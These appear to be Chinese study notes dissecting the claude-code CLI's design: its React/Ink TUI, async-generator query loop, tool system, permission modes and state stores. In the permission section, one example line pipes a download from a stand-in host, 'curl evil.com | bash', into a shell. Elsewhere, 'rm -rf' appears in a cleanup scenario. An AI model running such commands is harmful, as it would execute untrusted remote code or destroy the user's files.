002.claude code 源码解析
一、设计理念与架构总览
为什么 claude-code 是一个 React 应用?
问题 1:流式输出的刷新
传统方式:
- 记录光标位置
- 收到新 token,把光标移回去
- 重新打印这一行
- 处理边界情况(行换行、终端宽度变化)
React 方式:
const [text, setText] = useState('')
return <Text>{text}</Text>
// 每次 token 到来:setText (prev => prev + token)
React 的虚拟 DOM diff 自动计算什么变了,只更新变化的部分。
问题2 &3:权限确认+工具进度
权限确认弹窗:
传统CLI:暂停当前输出-显示确认框,等用户输入y/n-恢复之前的状态
React:
{showDialog && <PermissionDialog />}
用组件树的插入/删除控制显示隐藏
工具执行进度:
BashTool执行时要显示"已执行3.2s,输出142行...”输出结果要可以折叠
-> 这些都是组件状态,声明式管理起来非常自然
整体分层架构
![[cc整体架构.excalidraw|800]]
关键交界点
- CLI -> TUI:launchRepl() 把解析好的配置传给 React 根组件
- TUI -> 查询引擎:executeQueuedInput() 把用户输入提交给 query 模块
- 查询引擎 -> 工具:StreamingToolExecutor.execute() 并行执行工具(如果都是读操作)
这三个函数就是整个系统的主动脉,理解他们就理解了整个数据流
一条消息从用户按下 Enter 到 Claude 响应的完整旅程
![[一条消息的完整旅程.excalidraw|600]]
整个过程中,用户看到的是实时流式输出,不是等全部完成后再一次性显示
核心:事件驱动 + 异步生成器
关键点:整个流程是事件驱动 + 异步生成器
没有回调地狱,也没有 EventEmitter 传递状态
// 调用方用 for await...of 消费
for await(const event of query(prompt)) {
if(event.type ==='tool_use') {
await executeTool(event.tool)
}
}
关键目录结构
src/
|-- main.tsx # cli 入口
|-- query.ts # 查询循环核心
|-- QueryEngine.ts # SDK模式oo包装
|-- Tool.ts # 工具接口类型
|
|-- tools/ # 60+工具实现
| |-- BashTool/ # bash命令执行
| |-- AgentTool/ # 子Agent生成
| |-- FileEditTool/ # 文件精准编辑
| |-- MCPTool/ # MCP工具包装
|
|-- hooks/ # 70+React hooks
|-- state/ # 不可变AppState Store
技术栈
- 定位:开发者 cli 工具
- 运行时:TS/Bun
- UI 层:React/Ink TUI
- 状态管理:AppState Store
- 工具系统:60+内置 + MCP
- 对话触发:终端输入
为什么自研 Ink 引擎?
src/ink/ 有完整的布局引|擎(基于Yoga CSS Flexbox)
官方 ink 库不支持:
- 虚拟滚动:大量消息时只渲染可见行
- 差量更新:只重绘变化的字符
- 双向文字支持:Arabic/Hebrew
在长对话里,这些限制会导致明显的性能问题
自研 = 完全控制渲染管道
为什么用异步生成器 ?
EventEmitter 的问题:
- 发射事件没有“完成”的语义
- 需要额外监听'end'或'done'事件
- 生命周期复杂
异步生成器的优势:
for await (const event of query (prompt)) {
// 处理事件
}
循环结束= 任务结束
return 天然表示“我完成了"代码逻辑更线性
为什么用 Bun feature() 做特性门控而不是环境变量?
claude-code 有多个构建变体:开源版、企业版、内部版、Ant 内部工具
环境变量(运行时):
if(process.env.FEATURE X) // 这行代码仍然打包
Bun feature()(构建时):
feature('FLAG'). // 未启用则整个 if 块不打包
OSS 用户下载的 bundle 里完全没有企业内部功能的代码
二、启动流程与性能工程
并行 I/O 启动:把最慢的操作放到最前面
bad case(串行):
时间 0 ms:开始 import 模块
时间 500 ms:import 完成
时间 501 ms:开始读取 Keychain(200 ms)
时间 701 ms:读取完成 开始初始化
时间 800 ms:用户可以输入
claude-code 的写法(并行)
时间 0ms:开始 import 模块 + 同时触发 Keychain 读取(200 ms)
时间 200 ms:Keychain 读取完成(在后台)
时间 500 ms:import 完成
时间 501 ms:调用 getApiKey() -> 结果已经在内存里!
时间 600 ms:用户可以输入
节省了 200 ms。
import 过程本身需要时间,CPU 是在执行 JS 的,但 I/O 可以并行进行,把重量级 I/O 操作提前触发,让他们在 CPU 忙着加载模块时在后台完成 --- 这就是并行化 I/O 等待的经典模式。
Phase 0:并行触发重量级 IO
// 第9行:性能打点
profileCheckpoint ('main tsx_entry')
// 第 10-11 行:并行发起两个重量级异步操作
startMdmRawRead () // 读取 MDM 配置
startKeychainPrefetch () // 预取系统 Keychain 里的 API Key
为什么在最开始?
| 操作 | 耗时 | 说明 |
|---|---|---|
| startMdmRawRead() | ~100-200ms | 读取企业 MDM 配置 |
| startKeychainPrefetch() | ~100-200ms | 从 macOS Keychain 读取 API Key |
如果等到需要用的时候再发起,用户在第一次 API 调用时会额外等待 200 ms。通过在 import 评估期间就发起,这 200 ms 和后续 1000 ms 的模块加载重叠了。
分阶段初始化:四阶段架构
main.tsx 的 4683 行可以分为清晰的四个阶段:
Phase 0:Side Effects (第 9-20 行)
并行触发所有重量级 I/0
↓
Phase 1:Module Setup (第 21-200 行)
延迟 require、特性门控、条件导入
↓
Phase 2: CLI Parsing (第 201-3700 行)
Commander.js 解析参数
配置解析、认证检查、权限加载
↓
Phase 3:UI Launch (第 3700+ 行)
launchRepl() 渲染 TUI
或者进入 headless/sDK 模式
分阶段失败隔离:每个阶段失败都有意义
| 阶段 | 失败时的错误 |
|---|---|
| Phase 0 | 几乎不可能:操作系统级别问题 |
| Phase 1 | "功能模块加载失败" + 模块名 |
| Phase 2 | "参数格式错误: --xxx 不存在" |
| Phase 3 | TUI 初始化错误,fallback 到纯文本 |
Phase 2 失败时可以直接打印纯文本错误,不需要启动 TUI。
这比一个 main() 函数里 try-catch 所有错误要好得多,想象一下,如果所有错误都混在一起,就不好区分到底是参数错误还是 UI 初始化失败了;分阶段让每阶段的错误上下文清晰,用户的错误提示也更友好。
延迟 require:打破循环依赖
循环依赖问题
main.tsx -> 导入 tools -> 导入 AgentTool -> 导人 coordinator
-> 需要 main.tsx 里的状态 -> 循环!
coordinator 又需要 main.tsx 里的某些初始化状态,就导致循环了;Nodejs 和 Bun 遇到循环依赖时,被循环导入的模块可能是半初始化状态,导致 undefined 错误
解决方案:懒加载工厂函数
// ❌ 直接 import 会产生循环依赖
import { getTeammateUtils ) from './coordinator/teammateUtils'
// ✅ 延迟到需要时才 require
let getTeammateUtils: () => typeof import ('./coordinator/teammateUtils')
if (feature ('ENABLE AGENT SWARMS')) {
getTeammateUtils = () => require ('./coordinator/teammateUtils')
}
() => require(...) 把模块加载推迟到函数被调用时。
Bun Feature 控 vs 传统 Feature Flag
传统 Feature Flag(运行时判断)
if (process.env.FEATURE X ==='true') {
await import ('./enterprise/dashboard')
}
❌ 代码永远在 bundle 里,只是运行时不执行
Bun Feature 门控(构建时消除)
if (feature ('FEATURE X')) {
await import ('./enterprise/dashboard')
}
❌ 如果 FLAG=false,整个 if 块被删除,相关 import 也不打包
三个构建变体:同一代码库,多个 bundle
同一个代码库通过 feature 门控控制编译结果,无需维护三个代码分支
| 变体 | 开启的功能 |
|---|---|
| OSS | 基础工具集 |
| Enterprise | + COORDINATOR_MODE, + KAIROS |
| Internal (Ant) | + 所有功能 + ANT_TOOLS |
代价:
- 必须在构建时就确定哪些功能打开
- 无法动态开关
- 不同变体需要维护不同的构建配置
LazySchema:Zod 的延迟初始化
问题:60+工具的 schema 全部初始化
// ❌ 全部在模块顶层初始化
const agentInputSchema = z.object ({ description: z.string (), ... ))
const bashInputSchema = z.object ({ command: z.string (), ... })
// ... 60 个工具
❌ 如果在模块加载时全部初始化,每个 schema 构建都有 cpu 开销,累计起来模块加载时间增加 ~50-100 ms
解决方案:惰性初始化
// ✅ 第一次使用时才构建
const inputSchema = lazySchema (() => {
const base = z.object ({ command: z.string () })
return feature ('BACKGROUND TASKS')
? base.extend ({ run in background: z.boolean ().optional () })
: base
})
只在第一次 checkPermissions() 调时才构建
好处:
- 启动速度更快(schema 只在需要时才构建)
- 支持在 schema 中使用 feature()(lazySchema 在调用时才执行,feature 会在构建时求值)
- 进一步打破循环依赖(懒加载时其他模块已经全部初始化完成)
启动性能的核心数字
性能打点标记
profileCheckpoint('main_tsx_entry') // 进入 main.tsx
profileCheckpoint('imports_complete') // 所有 import 完成
profileCheckpoint('cli_parsed') // 参数解析完成
profileCheckpoint('repl_ready') // TUI 渲染完成
已知的性能问题
| 问题 | 说明 |
|---|---|
| 模块加载 | TypeScript + 大量 import,首次~500ms |
| Yoga Flexbox | 加载 WASM 版本布局引擎,一次性开销 |
| MCP 客户端 | 多个服务器并行连接,每个需要子进程或 HTTP |
Bun 比 Node.js 快约 3x
优化手段:并行化与懒加载
并行初始化 MCP 客户端
// ✅ 不串行等待
const mcpClients = await Promise.all(
configs.map(config => createMcpClient(config))
)
LazySchema
const inputSchema = lazySchema(() => z.object ({...}))
优化效果
| 优化项 | 节省时间 |
|---|---|
| 并行 I/O 启动 | ~200ms |
| LazySchema | ~50-100ms |
| Bun vs Node | 3x 模块加载 |
仍有优化空间
问题1:Yoga WASM 阻塞
layout/yoga.ts 加载WASM文件是同步的
如果能改成异步(在 Phase0 并行触发),可以再节省 ~50ms。
问题2:MCP 客户端串行等待
失败的 MCP 服务器会影响整体初始化超时。
==改进:==用 Promise.allSettled + 独立超时,失败的 MCP 不阻塞正常启动。
问题3:首次运行没有缓存
startKeychainPrefetch() 只在 macOS 有效。Windows/Linux 用户没有 Keychain, 但仍执行空操作。
三、查询引擎与对话循环
核心签名
export async function* query (params: QueryParams):
AsyncGenerator<StreamEvent I Message I TombstoneMessage, Terminal>
==异步生成器 ==-- 产出消息和事件,最终返回"终止原因“
两层查询架构
QueryEngine (QueryEngine.ts)
|-- query () (query.ts)
| 层 | 职责 | 状态生命周期 |
|---|---|---|
| query() | 单轮对话的 API 调用 + 工具执行循环 | 单次调用 |
| QueryEngine | 跨轮次的消息历史、usage 统计、文件缓存 | 整个会话 |
类比:HTTP 会话 Vs HTTP 请求
QueryEngine = HTTP Session
维护 cookie、历史
生命周期:整个会话
query() = HTTP 请求
可能有重试、重定向
生命周期:一次请求
TUI 模式:直接调用 query(),历史由 TUI 层管理
SDK 模式:用 QueryEngine,维护跨次调用的状态
为什么是异步生成器 ?
方案对比:
❌ 回调函数
问题:回调地狱,onComplete 何时调用不清晰
❌ EventEmitter
问题:需要监听'end'事件,生命周期管理复杂
✅ 异步生成器(claude-code 的选择)
for await(const event of query(params)) {...}
// 循环结束 = 查询结束
异步生成器的优势
// 双向协议:yield + return
for await(const event of query(params)) {
// yield 产出中间状态
}
const terminal = /* 生成器的 return 值 */
为什么比 EventEmitter 更好?
- EventEmitter 没有"完成"的语义,需要额外的 'end' 事件
- 生成器的 return 天然表示"完成了"
- 完美匹配 "等流式输出 > 执行工具 > 再等 API" 的循环
不可变参数 vs 可变状态
// 不可变:整个循环期间不变
const { tools, maxTokens, systemPrompt, permissionMode ) = params
// 可变:每次迭代可能更新
type State = {
messages: Message[]
toolUseContext: ToolUseContext
maxOutputTokensRecoveryCount: number
turnCount: number
transition: Continue | undefined
// ... 更多字段
}
为什么区分不可变和可变?
// 不直接修改,而是创建新 state
state = {
...state, // 保留之前的所有字段
messages: newMessages,
turnCount: state.turnCount + 1,
transition: { type: 'tool_use', toolsUse: ['BashTool'] }
}
continue queryLoop
transition 字段:记录了每次循环的原因,如果某次循环了 20 次,可以看到 transition 链中有为什么循环,在哪里循环
好处:
- 可读性:params 整个循环不变,state 可能在变
- 安全性:避免意外修改参数
- 调试:可以 snapshot state,replay 整个循环
transition 字段:循环的"飞行记录"
Round 1: transition = { type: 'tool_use', tools: ['Read'] )
Round 2: transition = { type:'tool_use', tools: ['Edit'] }
Round 3: transition = { type:'max_output_tokens_recovery' } // 输出被API截断了
Round 4: transition = { type: 'tool_use', tools: ['Bash'] 1
七种 "继续循环"路径
type ContinueReason =
| 'tool use' // 模型请求调用工具
| 'max_output_tokens_recovery' // API 截断,用更小 max tokens 重试
| 'stop hook' // stop hook 注入新消息
| 'reactive compact' // 触发上下文压缩
| 'history snip' // SDK 模式下截断历史
| 'context collapse' // 语义聚合旧消息
| 'auto_background' // 任务转后台
max_output_tokens 恢复机制
API 返回 stop_reason:"max_tokens"
↓
maxOutputTokensRecoveryCount < MAX RECOVERY ATTEMPTS?
↓
YES -> 用更小的 max_tokens 重试
↓
继续 queryLoop
为什么要恢复而不是直接报错?
工具调用结果本身是不完整的 JSON,直接报错会丢失上下文。
工具并发执行
// 三个只读工具:并行执行
toolCalls = [
{ tool: GlobTool, args: {...} }, // isConcurrencySafe -> true
{ tool: GrepTool, args: {...} }, // isConcurrencySafe -> true
{ tool: ReadTool, args: {...} }, // isConcurrencySafe -> true
]
// -> Promise.all 并行执行(都返回 true 并行)
// 如果有写操作:整批串行(有一个返回 false)
EditTool.isConcurrencySafe () -> false // 写文件
// -> 保守策略:只要有不安全的,全部串行
QueryEngine:跨轮次会话管理
export class QueryEngine {
private config: QueryEngineConfig
private mutableMessages: Message[] // 跨轮次积累取消整个会话
private abortController: AbortController // 取消整个会话
private permissionDenials: SDKPermissionDenial[]
private totalUsage: NonNullableUsage // 累计 token
private readFileState: FileStateCache // 文件 LRU 缓存
}
FileStateCache:防止"过时编辑”
对话场景
1.用户:读取 main.py
2.Claude: 调用 Read("main.py")
3.用户:修改第 10 行
4.Claude:调用 Edit("main.py",...)
问题:Edit 执行前,如何知道"文件内容是否被外部修改"?
FileStateCache:存储上次读取的文件快照
content:文件内容
hash:内容哈希
readAt:读取时间
FileStateCache 是一个 map,最多缓存 100 个文件的快照
LRU 淘汰策略
type FileStateCache = LRUMap<string, {
content: string
hash: string
readAt: number
}>
默认最多缓存 100 个文件长对话中,超过 100 个文件快照的场景下,才用 LRU 策略
Stop Hooks:后采样拦截
Stop Hooks 可以在 API 响应后,Claude 给出最终结果之前,拦截并注入新消息
const stopHookResult = await runStopHooks ({
messages: state.messages,
assistantMessage: lastAssistantMessage
})
if (stopHookResult.shouldContinue) {
state = {
...state,
messages: [...state.messages, ...stopHookResult.additionalMessages],
stopHookActive:true,
transition: { type: 'stop_hook' }
}
continue queryLoop
}
用途:
- 检测 Claude 输出里不应该包含的内容并注入纠正消息或在每次响应后自动追加系统检查信息
- 日志记录和审计
但是,它也是有风险的,因为 Stop Hooks 可以无限循环,hook 注入消息,Claude 响应,hook 在注入;所以,查询循环有最大 stopHookActive 计数保护
四、工具系统设计
Tool 接口全貌
export type Tool<Input, Output> = {
// 身份
name: string
aliases?: string[]
// 执行
inputSchema: ZodSchema<Input>
call (args, context, canUseTool, parentMessage) : Promise<ToolResult<Output>>
// 权限
checkPermissions (input, context) : Promise<PermissionResult>isReadOnly (input): boolean
isDestructive (input): boolean
// 并发
isConcurrencysafe (input): boolean
// 描述(送给 LLM)
description (input, options): Promise<string>
// TUI 渲染(送给用户)
renderToolUseMessage (input, options)
renderToolUseProgressMessagnse (progress, options)
renderToolResultMessage(output, progress, options)
}
执行核心:inputSchema 的三层作用
Zod Schema 同时提供三层能力
const inputSchema = z.object ({
file_path: z.string ()
.describe('要编辑的文件绝对路径'),
old string: z.string()
.min(1,'替换目标不能为空')
.describe('要替换的字符串,必须在文件中恰好出现一次')
new_string: z.string()
.describe(替换后的字符串')
replace all: z.boolean ()
.optional()
.default (false)
.describe('是否替换所有匹配项'),
})
| 层级 | 提供者 | 作用 |
|---|---|---|
| TypeScript类型 | z.infer | 编译时类型检查 |
| 运行时验证 | schema.parse(apiOutput) | 校验LLM输出 |
| 参数描述 | .describe() | 注入API prompt |
权限模型:声明与检查分离
两层权限设计
// 第一层:工具自身的权限声明
isReadonly (input): boolean // "我不写文件"
isDestructive (input): boolean // "我会删除/覆盖数据"
//第二层:checkPermissions()实现
async checkPermissions (input, context) : Promise<PermissionResult> {
if (context.permissionMode === 'bypass') return { granted: true }
const rule = findMatchingRule (context.toolPermissionContext, this.name, input)
if (rule?.type=== 'allow') return { granted: true }
if (rule?.type === 'deny') return { granted: false, reason: '...' }
return { granted: false, requireUserApproval: true )
}
为什么要分开?
- 声明 -> 用于 UI 显示(只读工具显示不同颜色)
- 检查 -> 用于实际决策(真正的权限逻辑)
三层渲染系统:工具调用的 UX 设计
三个阶段对应三个渲染函数
Claude 决定调用工具
↓
"renderToolUseMessage (input) <- "正在调用 Bash:1s -la /src"
↓(工具执行中)
renderToolUseProgressMessage (progress) <- "已执行 3.2 s,输出 142 行..." 显示运行时长和实时输出行数
↓(工具完成)
renderToolResultMessage (output,...) <- 结果(可折叠,语法高亮)
每个工具控制自己的呈现方式
- FileEditTool -> 显示 diff (彩色行变化)
- BashTool -> 显示语法高亮的终端输出,可折叠
- WebFetchTool -> 显示 URL + 摘要,隐藏原始 HTML
工具组装管道:从实现到 Prompt
四步流程
//步骤 1:获取基础工具集
const baseTools = getAllBaseTools() // [AgentTool, BashTool, GlobTool, GrepTool,REPLTool(条件)] 返回所有内置工具
//步骤 2:按权限过滤
const filteredTools = filterToolsByDenyRules(baseTools, permissionContext) // 例:如果 deny_rules 包含"Bash",BashTool 被移除 -> 根据用户的拒绝规则过滤
//步骤 3:合并 MCP 工具
const allTools = [
...filteredTools.sort (byName), // 内置工具排序
...mcpTools.sort (byName) // MCP 工具排序(分开排序!)
]
//步骤 4:去重(内置工具优先)
const uniqueTools = unigBy (allTools, 'name')
为什么内置工具和 MCP 工具要分开排序?
Prompt Cache 的缓存稳定性问题
假设混合排序:
[AgentTool, BashTool, mcp_db_query, GlobTool, mcp_search_web, ...]
用户新增 mcp_auth_login 后:
[AgentTool, mcp_auth_login, BashTool, mcpdb_query, GlobTool,...]
↑插入到这里
整个列表顺序改变 -> prompt 缓存全部失效
分开排序后
内置工具前缀 (稳定):[AgentTool, BashTool, GlobTool, GrepTool,...]
MCP工具后缀 (变化):[mcp_auth_login, mcp_db_query, mcp_search_web ,...]
内置工具前缀不变 -> 前缀的 prompt cache 永远命中 -> 节省 token 费用
Tool Search:解决 60+工具的 Prompt 污染
问题
60 个工具全部注入 prompt -> 每次调用多消耗 ~5000-8000 token 大部分工具在一次对话中根本不会用到
解决方案:Tool Search 模式
// 默认只有 2 个工具:
[AgentTool, ToolSearchTool]
// ToolSearchTool 告诉 LLM:
"用关键词搜索可用工具。例如:search('readfile') 返回 [Read,FileRead]"
工作流程
用户:帮我修改 main.py 的第 10 行
↓
Claude 调用:ToolSearchTool.search('edit file')
↓
返回:[FileEditTool, StrReplaceTool, FileWriteTool]
↓
Claude 调用:FileEditTool(path='main.py', old_string='...', new_string='...')
Tool Search 的代价与权衡
字段控制行为
AgentTool.alwaysLoadtrue // 始终加载,无论 ToolSearch 是否开启
BashTool.shouldDefertrue // 默认不加载,需要 ToolSearch
GlobTool.shouldDefer = true
WebFetchTool.shouldDefer = true
权衡分析
| 方面 | 全量加载 | Tool Search |
|---|---|---|
| Token 消耗 | 高 (~5000-8000/次) | 低 (按需加载) |
| API 延迟 | 低 | 多一轮搜索 |
| 容错性 | 高 | 低(依赖搜索质量) |
| 适用场景 | 工具少 | 工具多 |
BashTool:安全分析的细节
语义分析:isSearchOrReadBashCommand
export function isSearchOrReadBashCommand (command: string):
isSearch: boolean // grep、find、ls 等
isRead: boolean // cat、 head、 tail 等
isList: boolean // ls、tree 等
}
为什么分析管道语义?
# 命令: cat /etc/hosts | grep localhost
# 解析:两个阶段
# 1. cat (读文件) <- isRead = true
# 2. grep (搜索) <- isSearch = true
# 综合: isRead= true(只读命令)
# 命令: cat /etc/hosts > /tmp/output.txt
# 解析:
# 1. cat (读文件) <- isRead = true
# 2. > 重定向到文件 <- isRead = false!(写操作)
# 综合:isRead = false
五、权限模型与审批系统
场景引入
你让 Claude"清理项目临时文件"
Claude 决定执行: rm -rf /tmp/project_cache && rm -rf ./build
你想要什么行为?
- A 直接执行,不问
- B 问你"确认吗?"
- C 告诉你计划,你批准后才执行
- D 永远不能执行 rm 命令
四种权限模式
type PermissionMode =
| 'default' // 每次询问用户
| 'auto' // 自动批准(基于分类器)
| 'plan' // 必须先进入 Plan 模式
| 'bypass' // 跳过所有权限检查
| 模式 | 适合场景 | 风险 |
|---|---|---|
| default | 日常使用,控制粒度高 | 高频打断 |
| auto | CI/CD 环境,无人值守 | 可能批准超预期操作 |
| plan | 复杂任务,先规划后执行 | 需额外 Plan/Exit 步骤 |
| bypass | 完全信任的本地环境 | 无任何安全护栏 |
权限决策链:多源解析顺序
checkPermissions (tool, input, context)
|-- 1. 权限模式检查
| bypass? -> 直接批准
| plan 模式且不在 plan 状态? -> 拒绝
|-- 2. Deny Rules 检查(绝对否决)
| 匹配到拒绝规则? -> 无条件拒绝
|-- 3. Allow Rules 检查
| 匹配到允许规则? -> 批准
|-- 4. 工具自定义逻辑
| tool.checkPermissions ()
|-- 5. 弹出用户确认框
| Approve / Reject / Always Allow / Never Allow
关键:Deny Rules > Allow Rules > 工具自定义 > 用户交互
三个来源的规则
type PermissionSource = 'global' | 'user' | 'project'
| 级别 | 配置文件位置 | 适合场景 | 示例 |
|---|---|---|---|
| Global | 全局,~/.claude/settings.json | 个人偏好,所有项目通用 | 例:永久允许 Read,永久禁止 Bash |
| Project | 项目级,.claude/settings.json | 项目特定规则,团队共享 | 例:允许 Bash (npm run test) |
| User | 会话级,内存中,会话结束消失 | 本次会话临时授权 | — |
优先级:Deny Rules > Allow Rules,无论哪个层级,只要配置了 Deny 优先级就比 Allow 高
权限持久化:永久规则的代价
当用户点击"总是允许"时:
async persistPermissions (updates: PermissionUpdate []) {
//1. 写入 settings.json(永久保存)
persistPermissionUpdates (updates)
//2. 更新内存中的 AppState(即时生效)
const appState = toolUseContext.getAppState ()
const newContext = applyPermissionUpdates (
appState.toolPermissionContext,
updates
)
setToolPermissionContext (newContext)
}
"总是允许 Bash" = 不可逆的权限升级
- 之后所有 bash 命令都不再询问
- 包括:
rm -rf./dist、curl evil.com | bash - 没有过期时间,没有范围限制
权限对话框:阻塞设计
权限确认是 claude-code 里唯一阻塞用户输入的场景:
工具调用触发权限检查
↓
PermissionDialog 插入到 PromptInput 上方
↓
主 REPL 输入框暂时禁用
↓
用户选择:Approve / Reject / Always Allow / Never Allow
↓
对话框消失,主输入框恢复
↓
工具继续执行(或被拒绝)
为什么串行处理?
- 保证执行顺序一致性
- 多个工具同时需要权限时,对话框排队显示,不并行
==为什么不用 CLI readline?==React/Ink 架构已控制 stdin,混用会导致竞争。
权限拒绝的会话记忆
//在 QueryEngine 里积累拒绝记录
private permissionDenials: SDKPermissionDenial[] = []
// 每次用户拒绝时追加
this.permissionDenials.push ({
toolName: tool.name,
input: JSON.stringify(args),
deniedAt: Date.now(),
userFeedback: dialog.feedback
)
这些记录的用途:
- 注入 LLM 上下文:告诉 Claude"用户曾经拒绝了 XXX”
- PatternDetection:同一工具被拒绝 3+ 次,触发解释流程
- SDK 透明性:调用方可以读取 denial 列表
MDM 策略:企业级强制锁定
对于企业用户,MDM 可以强制下发权限策略:
type MdmPolicy = {
deniedTools: string[] // 强制禁用(不可覆盖)
permissionMode: 'default' | 'auto' | 'bypass'
allowedDomains?: string[] // WebFetch 允许的域名
}
关键区别:
- MDM 策略存储在 system keychain 或 MDM profile
- 不能被普通用户修改-即使用户编辑 settings.json,MDM策略仍然有效
这是企业合规的基础:IT 管理员可以集中控制操作权限。
权限模型的设计权衡
| 需求 | 当前设计 | 潜在改进 |
|---|---|---|
| 安全性 | DenyRules 绝对优先 | 增加操作审计日志 |
| 易用性 | "总是允许"一键搞定 | 带过期时间的临时规则 |
| 细粒度 | 支持 glob 匹配 | 支持正则、范围、环境变量 |
| 企业合规 | MDM 策略集中管控 | RBAC 基于角色权限控制 |
| 透明度 | 权限对话框清晰 | 操作前预览影响 |
六、状态管理架构
React Context 在 Ink 里的问题
浏览器 React vs Ink React
| 环境 | Context 更新行为 | 性能影响 |
|---|---|---|
| 浏览器 | 批量合并重渲染(微任务) | 可接受 |
| Ink 终端 | 重新计算整个布局(Yoga WASM) | 可能闪烁 |
问题根源:
- Ink 重渲染 = 重新计算整个终端界面的布局
- 涉及 Yoga 布局引擎(WASM) - 批量合并在某些 Ink 版本里不可靠
结果:Context 更新可能导致可见的终端闪烁
Store:三十行解决状态管理
export function createStore<T> (initialState: T): Store<T> {
let state = initialState // 闭包变量保存状态
const listeners = new Set<() => void>() // set存储所有监听器
return {
getState: () => state,
setState: (updater) => {
const next = updater (state)
if (Object.is (next, state)) return
state = next
for (const listener of listeners) listener () // 遍历所有监听器通知状态改变
},
subscribe: (listener) => {
listeners.add (listener) // 往 set 中添加监听器
return () => listeners.delete (listener) // 返回取消订阅的函数
}
}
}
三个关键设计细节
- Object.is 浅相等检查
if (Object.is (next, state)) return
强制调用方使用不可变更新。如果返回同一个引用,跳过通知。 - Set 而非数组
const listeners = new Set<() => void>()
Set 自动去重,防止同一个 listener 注册两次导致重复触发。 - 返回取消订阅函数
subscribe: (listener) => { listeners.add(listener) return () => listeners.delete (listener) }
组件卸载时调用,避免内存泄漏。
useSyncExternalStore:React 18 的桥梁
export function useAppState<T>(
selector: (state: AppState) => T // selector 作用:从完整的 AppState 中选择你关心的字段
):T {
return useSyncExternalStore (
appStore.subscribe,
() => selector (appStore.getState ()),
() => selector (appStore.getState ()),
)
}
// 使用示例
const model = useAppState (s => s.mainLoopModel)
const taskCount = useAppState (s => Object.keys (s.tasks).length)
useSyncExternalStore 会处理订阅逻辑:当 store 通知变化时,会调用 selector,然后用 Object.is 对比结果,如果结果没变,组件就不重新渲染
为什么这比 Context 好?
Context 的问题
AppState 变化 -> 所有消费 Context 的组件重渲染
-> 很多组件做无效渲染
useSyncExternalStore + selector 的优势:
AppState 变化 -> 调用所有 selector
-> 只有 selector 结果变化的组件重渲染
-> 精确重渲染
性能对比: claude-code 有 50+个消费 AppState 的组件,每个 token 到来(高频!)都要更新状态;如果不用 selector: 每次 token 变化都会触发 50+ 次重渲染;用 selector: 每次可能只有 2-3 个组件重渲染
Deeplmmutable:编译时不可变保证
// 递归的讲所有字段加上 readonly,这样如果直接修改 state,ts 编译器就会直接报错
type DeepImmutable<T> = {
readonly [K in keyof T]: T[K] extends object
? DeepImmutable<T[K]>
: T[K]
}
// Appstate 定义
type AppState = DeepImmutable<{
settings: SettingsJson
mainLoopModel: ModelSetting
toolPermissionContext: ToolPermissionContext
mcp: { clients:...; tools:...; }
// ...
}>
使用效果:
const state = appStore.getState ()
// TypeScript 编译错误!
state.settings.model = 'claude-3-haiku'
// 必须用不可变更新:
appStore.setState(prev => ({
...prev,
settings: {
...prev.settings
}
}))
Deeplmmutable 的局限性
TypeScript readonly 只是类型约束
//编译错误,TypeScript 层面阻止了
state.settings.model = 'xxx'
//但可以强制类型绕过,运行时不会报错
;(state as any).settings.model = 'xxx'
tasks 字段的例外
type AppState = DeepImmutable<{
settings: SettingsJson
tasks: { [taskId: string]: TaskState ) // 注意: 这里不是 DeepImmutable!
// ...
}>
tasks 包含函数 task.kill()、task.getStatus(),TypeScript 的 Deeplmmutable 对包含函数的对象有限制,所以被显式排除。
消息队列:分离快变和慢变状态
claude-code 有两个主要的外部存储
| Store | 变化频率 | 内容 | 订阅者 |
|---|---|---|---|
| AppState | 慢变 | 用户设置、权限配置、MCP 连接、模型选择 | 50+ 个组件 |
| MessageQueue | 快变 | 用户输入的命令、等待处理的消息 | 仅 useQueueProcessor |
为什么要分离?
如果把消息队列放进 AppState:每次用户按 Enter -> 触发所有订阅 AppState 的组件检查 selector -> 大多数组件的 selector 结果不变,但仍然执行了检查
分离后:消息队列变化只通知 useQueueProcessor,不影响其他组件
MessageQueue 实现
type Queuedcommand = {
id: string
priority: 'now' | 'next' | 'later'
command: Command | string
timestamp: number
}
const queue: QueuedCommand[] = []
const listeners = new Set<Listener>()
export function enqueue (cmd: Omit<QueuedCommand,'id' | 'timestamp'>) {
queue.push ({ ...cmd, id: uuid (), timestamp: Date.now () })
listeners.forEach (l => l())
}
export function subscribeToCommandQueue (listener: () => void) {
listeners.add (listener)
return () => listeners.delete (listener)
}
优先级处理:dequeue 时按 now > next > later 顺序取出
QueryGuard:互斥锁模式
防止同时执行多个 query 的机制
function createQueryGuard () {
let isActive = false // 当前是否在执行 query
const listeners = new Set< () => void>()
return {
// 加锁
reserve (): boolean {
if (isActive) return false
isActive = true
listeners.forEach (l => l())
return true
},
// 释放锁
release() {
isActive = false
listeners.forEach (l => l())
},
subscribe: (1) => {
listeners.add(l)
return () => listeners.delete (l)
},
getSnapshot: () => isActive,
}
}
响应式流水线
用户输入 messageQueue.enqueue()
↓(通知 useQueueProcessor)
检查 queryGuard.getSnapshot () -> false (空闲)
↓
queryGuard.reserve () -> true (成功)
↓
开始执行 query()
↓(query 完成)
queryGuard.release ()
↓(通知 useQueueProcessor)
检查 messageQueue -> 有新消息?
|-- YES -> 立即处理下一条
|-- NO -> 等待
useQueueProcessor 不需要知道"什么时候开始下一条",它只是响应状态变化。
状态快照与时间旅行调试
不可变状态的核心优势
由于 AppState 是不可变的,每次更新都产生新对象,可以把历史快照保存起来,理论上只要在 createStore 时监听每次更新,将新状态 push 到数组中,就可以保存完整的状态历史(cc 没实现,但是是支持的)
// 理论上可以这样实现时间旅行调试
const snapshots: AppState[] = []
createStore (initialState, ({ newState }) => {
snapshots.push (newState)
})
// 回到历史状态
appStore.setState (() => snapshots[snapshots.length - 5])
设计一致性
每次节点执行产生新的 state 对象
七、Agent 工具与子 Agent 机制
claude-code 里最复杂的工具
==核心能力:==不执行操作,而是生成一个新的 Claude 实例来执行操作。
这是工具在调用工具 -- 一个 Claude 调用另一个 Claude。
AgentTool 的核心用途
场景:并行分析项目里所有 Python 文件的代码质量
// 主 Agent
for (const batch of chunks (pyFiles, 100)) {
Agent({
description: `分析 ${batch.length} 个 Python 文件`,
prompt:分析以下文件的代码质量:${batch.join(',')),
run_in_background: true
})
}
// 10 个子 Agent 同时工作,速度提升 10x
核心价值:并行化 + 隔离
四种执行模式
| 模式 | 配置 | 适用场景 |
|---|---|---|
| 本地同步 | 默认 | 快速子任务(< 15 秒) |
| 本地后台 | run_in_background: true | 耗时任务并行化 |
| Fork Agent | isolation: 'worktree' | 文件系统隔离 |
| Remote Agent | isolation: 'remote' | 长时间/特殊环境任务 |
